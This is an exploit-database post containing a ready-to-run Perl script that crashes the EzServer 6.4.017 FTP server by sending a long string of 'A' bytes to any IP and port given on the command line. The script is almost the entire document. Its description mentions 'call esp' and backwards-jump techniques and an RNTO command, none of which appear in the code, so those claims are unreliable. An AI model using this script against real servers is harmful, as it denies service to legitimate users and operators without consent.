EzServer 6.4.017 Denial Of Service Exploit

#!/usr/bin/perl
 
use IO::Socket;
 
# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)
 
#1. Description
 
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
 
#2. Proof of Concept - PoC
 
    $sis="$^O";
 
    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }
 
    system("$cmd");
     
    intro();
    main();
     
    print "[+] Exploiting... \n";
 
    my $payload = "\x41"x10698;
 
    my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";
    $sock->send($payload);
    $sock->close();
 
    print "[+] Done - Exploited success!!!!!\n\n";
   
   sub intro {
      print q {
 
 
                            _/|    
                           // o\   
                           || ._) 
                           //__\  
                           )___(  
 
      [+] EzServer 6.4.017 - Denied of Service (DoS)
 
      [*] Coded by Fernando Mengali
 
      [@] e-mail: [email protected]
 
      }
  }
 
  sub main {
 
our ($ip, $port) = @ARGV;
 
      unless (defined($ip) && defined($port)) {
 
        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);
 
      }
  }
 
#  0day.today [2024-02-15]  #